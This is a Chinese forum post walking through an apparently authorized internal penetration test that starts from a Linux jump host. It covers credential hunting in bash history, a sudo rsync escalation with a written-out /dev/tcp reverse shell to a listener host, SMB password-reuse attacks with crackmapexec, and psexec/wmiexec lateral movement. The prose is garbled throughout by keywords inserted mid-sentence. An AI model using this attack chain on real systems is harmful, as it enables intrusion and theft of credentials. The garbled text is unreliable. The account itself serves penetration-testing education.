游客发表

基于linux系统的内网渗透

发帖时间:2026-10-17 04:36:39

拿到一台Linux跳板机,基于离内网核心往往只差几条命令。内网去年某次授权测试,渗透目标是基于一套典型的“Linux网关+内网Windows域”架构。外网只暴露了一台Nginx反向代理,内网跑在CentOS 7上。渗透我们通过一个未授权的基于API接口拿到了低权限shell,用户是内网www-data。这台机器本身没什么数据,渗透但它的基于双网卡配置暴露了内网10.10.0.0/16的网段。

第一步不是内网急着扫内网。先看本机。渗透`ip a`、基于`route -n`、内网`arp -a`三件套下去,渗透内网拓扑大概有了轮廓。这台机器连着10.10.1.0/24和10.10.2.0/24两个段。`cat /etc/hosts`里还留着几条运维记录,指向10.10.1.5和10.10.2.10。这两个IP大概率是运维跳板或数据库。接着翻`/home`和`/var/backups`,找到一个`.bash_history`,里面有`mysql -h 10.10.1.5 -u root -p`的痕迹——密码就明文写在下一行。运维图省事,历史记录没清。

拿到MySQL凭据后,别直接连。用`nc -zv 10.10.1.5 3306`确认端口开放。连上去,`show databases`看到`information_schema`和几个业务库。`select user,host from mysql.user`发现root只允许从10.10.1.%登录,当前跳板机正好在允许范围内。`load_file('/etc/passwd')`能读,说明secure_file_priv没限制。但没必要提权MySQL,目标在内网Windows。用`select @@version`确认是MySQL 5.7,支持`into outfile`写文件。写个webshell到网站根目录?不行,这台跳板机没跑Web服务。换个思路:用MySQL的`into dumpfile`往跳板机的`/tmp`写个SSH公钥?权限不够,www-data写不了root的authorized_keys。

回到跳板机本身。`sudo -l`显示www-data可以无密码运行`/usr/bin/rsync`。经典提权路径。`rsync -e 'sh -c "sh -i >& /dev/tcp/10.10.1.100/4444 0>&1"' 10.10.1.100::`——反弹shell直接拿到root。现在跳板机彻底沦陷。装个frp或nps做隧道?不用那么麻烦。内网Windows的3389和445端口在跳板机上直接可达。`nmap -p 445,3389 10.10.1.0/24`扫一遍,发现10.10.1.20和10.10.1.21开放445,10.10.1.20还开了3389。

445端口能干什么?先试`smbclient -L 10.10.1.20 -N`,匿名登录失败。但跳板机上有MySQL的root密码,运维很可能复用。用`crackmapexec smb 10.10.1.20 -u administrator -p '那个密码'`——成功。域管密码和MySQL root密码一样。接下来`psexec`或`wmiexec`直接拿shell。整个过程没用到任何0day,全是配置疏漏和密码复用。

内网渗透在Linux环境下,核心不是堆工具。是看配置文件、翻历史命令、找权限配置错误。`/etc/crontab`、`/etc/fstab`、`/root/.ssh/`、`/var/log/auth.log`,这些地方比扫描器管用。还有,别忽略`sudo -l`和SUID文件。`find / -perm -4000 -type f 2>/dev/null`经常能翻出意外收获。一台看似干净的跳板机,往往藏着通往内网核心的钥匙。运维为了方便留下的每一条记录,都是渗透路径的注脚。

    热门排行

    友情链接